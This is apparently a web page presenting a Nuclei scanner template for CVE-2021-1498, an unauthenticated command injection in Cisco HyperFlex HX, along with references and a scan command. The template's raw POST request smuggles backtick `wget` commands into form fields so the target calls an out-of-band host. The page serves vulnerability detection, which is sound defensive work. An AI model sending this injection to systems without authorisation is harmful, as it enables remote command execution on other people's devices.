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Cisco HyperFlex HX Data Platform - Remote Command Execution

ID: CVE-2021-1498

Severity: critical

Author: gy741

Tags: cve,cve2021,kev,packetstorm,cisco,rce,oast,mirai

Description

Section titled “Description”

Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.

YAML Source

Section titled “YAML Source”
id: CVE-2021-1498


info:
  name: Cisco HyperFlex HX Data Platform - Remote Command Execution
  author: gy741
  severity: critical
  description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1498
    - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
    - https://twitter.com/Unit42_Intel/status/1402655493735206915
    - https://twitter.com/ptswarm/status/1390300625129201664
    - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-1498
    cwe-id: CWE-78
    epss-score: 0.97528
    epss-percentile: 0.99991
    cpe: cpe:2.3:o:cisco:hyperflex_hx_data_platform:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: hyperflex_hx_data_platform
  tags: cve,cve2021,kev,packetstorm,cisco,rce,oast,mirai


http:
  - raw:
      - |
        POST /storfs-asup HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded


        action=&token=`wget http://{{interactsh-url}}`&mode=`wget http://{{interactsh-url}}`


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fcaa8f76082398c8c64e4cbc2ac0d15c7d49cdfa546c4b7ab8209bbe58ff6e8f022100e243eb8a0f713daf34ef381c81384329ae93e773c488dc6b2e413bf1ce6ae17b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-1498.yaml"

View on Github